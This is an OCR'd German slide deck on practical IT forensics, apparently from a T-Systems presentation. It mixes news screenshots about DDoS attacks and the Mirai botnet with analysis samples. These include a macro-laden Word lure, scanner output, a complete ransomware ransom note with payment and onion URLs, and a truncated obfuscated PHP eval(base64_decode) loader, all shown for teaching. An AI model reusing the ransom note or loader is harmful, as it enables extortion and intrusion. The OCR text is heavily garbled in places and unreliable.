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IT - FORENSIK IN DEER PRAZIS

= QOperative Vorbereitung

= Datensammlung und forensische Duplikation (Beweismittelsicherung)

= Untersuchung und Analyse der Daten (Live-Analyse, Post-mortem-Analyse)
= Dokumentation der Fakten und Rekonstruktion des Vorfalls

= Mafinahmendefinition zur Verhinderung weiterer Vorfélle



IT - FORENSIK IN DEER PRAZIS

= Datensammlung und forensische Duplikation (Beweismittelsicherung)
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/l Secun'fy News v~ Hintergrund Tools Foren Events

Security = News > 7-Tage-News > 2016 > KW 38 > Massiver DDoS-Angriff auf Secruity-Journalist Brian Krebs

«Vorige | Nachste »

Security-Journalist Brian Krebs war Ziel eines massiven
DDoS-Angriffs

23.09.2016 07:00Uhr - Fabian A. Scherschel 1)) vorlesen
o

Krebs  =~-:iy

in-depth Security news and inves stigatior

KrebsOnSecurlty Hit With Record DDoS

Kn

1 thiank 1 }
d thir XS Lo the hard work of the enginees t Akamai, the «

Als Dank fiir seine Berichterstattung iiber den Booter-Dienst vDoS bekam es
Brian Krebs nun mit einem der grofRten DDoS-Angriffe der Geschichte zu tun.
Krebs ist auf Grund seiner Recherchen allerdings Leid gewohnt.

Kontakt

L I

Dienste

Security Consulter Emailcheck
Netzwerkcheck Browsercheck
Anti-Virus Krypto-Kampagne
Artikel

Analysiert: Werbekeule statt Glitzersteine
- Android-Malware CallJam seziert

Eine App auf Goole Play [
gab sich als Helferlein
fur das erfolgreiche
Spiel "Clash Royale"
aus. Doch statt der
versprochenen Juwelen
gab es teure Rechnungen. Olivia von Westernhagen
analysiert den Trojaner.

Wachsende Kritik an Public Key Pinning
fur HTTPS

Die noch recht junge >z
Technik der Zertifikats-

Pinnings fir HTTPS

bekommt Gegenwind. T —




% golem.de " "

IT-NEWS FOR PROFIS TOP-THEMEN: Samsung Windows Server 2016 Vectoring BMW Google Security mehr...

ANZEIGE

BRIAN KREBS

Wer die Hersteller des IoT-DDoS-Botnets
sind

Das IoT-DDoS-Botnetz Mirai sorgt derzeit fir die grofsten bekannten
DDoS-Angriffe mit einer Kapazitat von mehr als 1 Thit/s. Der

Sicherheitsforscher Brian Krebs hat analysiert, wer die unsicheren
GEI‘éte hEI‘StE‘Ht. sind im Quellcode des Mirai-Botnetzes enthalten. (Bild:

Mobotix)

Standardzugangsdaten fiir IP-Kameras von Mobotix







TOOLS

= (Caine: http://www.caine-live.net
= Live View: http://liveview.sourceforge.net/



IT - FORENSIK IN DEER PRAZIS

= Untersuchung und Analyse der Daten (Live-Analyse, Post-mortem-Analyse
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GUTSCHEINE | RSS | NEWSLETTER 'RE GLEIC A OP | VIP-CLUB | FORUM

START TECHNIK DOWNLOADS SPIELE AKTIONEN VIDEOS
Q Suchbegriff oder Webcode eingeben SUCHEN
Home » Technik » Computer » Sicherheit » News

SPECIAL ’ Special: Sicherheits-Center - Neues vom Bundestags-Hack

Cyber-Attacke auf Bundestag: ks war
peinlich einfach!

Wie jetzt bekannt wird, gelang der Angriff auf
das Netzwerk des Bundestags mit einfachsten Hacker-Werkzeugen. Es
kénnten also auch Amateure gewesen sein.

3

Computer 20
FPUler &

von Udo Lewalter

Al K Emprenien REE Themenubersicht




EXTRAS  ANSICHT Bewerbung und CV.doc [Schreibgeschitzt] [Kompatibilitatsmodus] - Word (Test)

o INFORMATIONEN ZUR TESTVERSION Diese Testversion von Microsoft Office Professional Plus 2013 l3uft in 32 Tagen ab. Kaufen

VN

! Dieses Dokument wurde mit einer aktuelleren Version von Microsoft Office™ erstellt.

Bitte betdtigen Sie die | Inhalt aktivieren | Schaltflache um eine korrekte Darstellung zu gewdhrleisten.

Sollte die Schaltfliche nicht verfiigbar sein, missen Sie das Dokument gegebenenfalls erst zur
Bearbeitung aktivieren. Bitte betdtigen Sie dazu die dafur vorgesehene Schaliflache.
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Directory [2848 bhytesl:

+

6.

[FPH directory, 2048 hytes]

B PRoot Entry = .8...ccccciccanna = G{ABBZ I4EF-BARB-BPA
HIRC: [=nip]

1> 1Table = Juoceiceeccccnncacnannnns b.6.6.6.6.6.6.6.6.

b.6l=nip]l

2 YWordDocument = ...[...ccan. P..bhibhj..a.... L T >

-.-[=2nipl

32 SwummaryInfo <(Sublirectory) —3

+ [Property Info directory with 13 entries. 284 hytes]
i B CodePage = 1252

i 1> Author = user

i 22 Template = Mormal.dotm

i 3> LastModifiedBy = user

i 4> RevisionMumber = 1

i 52 Software = Microsoft Office Uord

i 62 TotalEditTime = 848

i1 73 CreateDate = 2014:83:88 22:17:080
i 8> ModifyDate = 2014:83:88 2Z2:31:88
i 92 Pages =1
1 18> Yords = 7
i 11> Characters
i 122 Security =

53

[%] INFO mode selected
[*] Opening file had.doc

[*] Format type Winword

4

| op s ' 00

H Off iceMalScanner
'

)

Frank Boldewin / wuw.reconstructer.ory

vH.b61

[*] Filesize is 32256 (Bx7e¢88) Bytes
[*] Ms Office OLE2 Compound Format document detected

ThisDocument

. D 3 . DA " Y M|
[Scanning for UB-code in BAD.DOC]
33 4
N\

h
b 4

UB-MACRO CODE WAS FOUND INSIDE THIS PFILE!
The decompressed Macro code was stored here:







_l@p@#_1@sa#]_1@#1@#)_ 1@#@#] l@#e#! 1@#a#_lases!_laxrasl_ lexle®  lexeH!
NOT YOUR LANGUAGE? USE https:/ /translate.google.com

What happened to your files ?
All of your files were protected by a strong encryption with RSA-4096.
More information about the encryption keys using RSA-4096 can be found here: http:/ / en.wikipedia.org/wiki/RSA_(cryptosystem)

How did this happen ?

1 Specially for your PC was generated personal RSA-4096 KEY, both public and private.

M ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

What do Ido ?
So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BTC NOW, and restore your data easy way.
If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment.

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
. http:/ [ k5fxm4dI35qk323d.justmakeapayment.com/ D9B09619DC13C927

. http:/ [ hrfdknrmsfw.pestresdfasd.com/D9B09619DC13C927

. http:/ /tsbfdsv.extrémchf.com/D9B09619DC13C927

. https:/ [ 07zeipbus33igmgw.onion.to/ D9B09619DC13C927

RS

4]

. https:/ [ 07zeipbus33igmgw.tor2web.org/D9B09619DC13C927
6. https: [ [ 07zeipbus33igmgw.onion.cab/D9B09619DC13C927

If for some reasons the addresses are not available, follow these steps:

1. Download and install tor-browser: http:/ /www.torproject.org/ projects/torbrowser.html.en
2. After a successful installation, run the browser and wait for initialization.

3. Type in the address bar: 07zeipbus33igmgw.onion/D9B09619DC13C927

4. Follow the instructions on the site.

IMPORTANT INFORMATION:

Your personal pages:

http:/ [ k5fxm4dI35qk323d.justmakeapayment.com/D9B09619DC13C927

http:/ / hrfdknrmsfw.pestresdfasd.com/D9B09619DC13C927

http:/ [ tsbfdsv.extrémchf.com/D9B09619DC13C927

https:/ [ 07zeipbus33igmgw.onion.to/ D9B09619DC13C927

Your personal page (using TOR-Browser): o7zeip6us33igmgw.onion/D9B09619DC13C927

Your personal identification number (if you open the site (or TOR-Browser's) directly): D9B09619DC13C927
_lo#l@#!_ loFl@#_ 1@#1@#!_ 1@#@#_ loFl@#!_ l@F1o#_ 1@F1@#!_ 1@#@#_ 1@Fla#_ laFl@#F!



S oftware' Microsoft Windows | CrurentVersion Internet Settings Prox:

R -

W CurTentConto)

CWindows

thread ’







<?php
eval(base64 decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3N1bnQoKTsNCm1lmIC
ghJG57Y3YpewOKIHI1ZmVyZXI9JFOTRVIWRVIbIOhUVFBfUKVGRVIFUiddOwOKIHVhPSRTUBVSVKVSWydIVFRQ

X1VTRVIFQUAFT1QNXTsNCmImIChzdHIpc3RyKCRyZWZ]...




TOOLS

= |DA Pro 5: https://www.hex-rays.com/index.shtml
= dex2jar: https://sourceforge.net/projects/dex2jar/
= _NET Reflector / ILSpy: http://ilspy.net/



IT - FORENSIK IN DEER PRAZIS

= Dokumentation der Fakten und Rekonstruktion des Vorfalls
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TELEKOMMUNIKATION

Totaler Netzausfall: Deutsche
Telekom beschuldlgt Hacker

Deutsche Wirtschafts Nachrichten

Der Deutschen Telekom zufolge ist die bundesweite Netzstorung

vermutlich das Werk von Hackern. Beweise fiir diese Behauptung legte die
Telekom nicht vor.

DWN aﬁgggg:ins PlanD

NACHRICHTEN  Wie Donald Trump die USA umbauen konnte




Dienstag, 29. November 2

Es kann noch schlimmer kommen
Monster-Botnetz griff Telekom-Router an




INFOS ZU BILDPLUS WETTER EPAPER KONTAKT BILD SHOP COMMUNITY LOGIN

mo HAME;;:G i‘1 iﬁ .\.-.' ’J ﬂ

A" BILDplus NEWS POLITIK GELD UNTERHALTUNG SPORT BUNDESLIGA LIFESTYLE RATGEBER REISE AUTO DIGITAL Q

SPIELE REGIO VIDEO

29.11.2016 - 10:38 UHR  HOME > DIGITAL » INTERNET > MIT BABYPHONES, KAMERAS UND DRUCKER | SO FUNKTIONIERTE DER MONSTER-HACKERANGRIFF

MIT BABYPHONES, KAMERAS UND DRUCKER

So funktionierte der Monster-
ackerangniff
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TOOLS

= https://www.bsi.bund.de/SharedDocs/Downloads/
DE/BSI/Cyber-Sicherheit/ Themen/Leitfaden_IT-Forensik.pdf






KONTAKT

THOMAS HAASE

Test and Integration Center

T-SYSTEMS MULTIMEDIA SOLUTIONS GMBH

Riesaer Strafte 5
01129 Dresden, Germany
Tel:  +49 351 2820 2206

t.haase@t—systems.oom




